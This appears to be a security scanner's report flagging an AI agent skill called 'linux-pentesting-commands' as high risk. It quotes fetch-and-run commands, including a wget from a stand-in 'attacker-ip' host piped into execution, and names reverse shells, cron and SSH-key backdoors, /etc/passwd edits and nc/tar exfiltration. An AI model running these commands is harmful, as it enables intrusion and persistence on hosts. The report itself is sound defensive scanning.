linux-pentesting-commands

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.90). These URLs are mixed: while the linpeas GitHub release and ara.so are legitimate, the list also contains direct HTTP links to attacker-controlled or local hosts (e.g., 10.10.10.10:8000/exploit.sh, attacker-ip:8000/linpeas.sh), a generic "target" hostname, and a personal GitHub repo—direct downloads of .sh/exploit files from non-official or private hosts are high-risk and can distribute malware if executed without review.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skill contains explicit, actionable instructions for remote code execution (reverse shells), persistence (cron backdoors, SSH key installation), credential harvesting, and data exfiltration (nc/base64/tar, wget/curl from attacker servers), which directly facilitate unauthorized access and system compromise.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill includes commands that fetch and execute remote scripts at runtime — e.g. "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash" (and the alternative "wget http://attacker-ip:8000/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh"), which download remote code and run it.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill contains explicit, actionable commands to escalate privileges, modify system files (e.g., appending to /etc/passwd, editing crontabs, installing SSH keys), create persistence, and bypass protections—directly encouraging compromising the host system.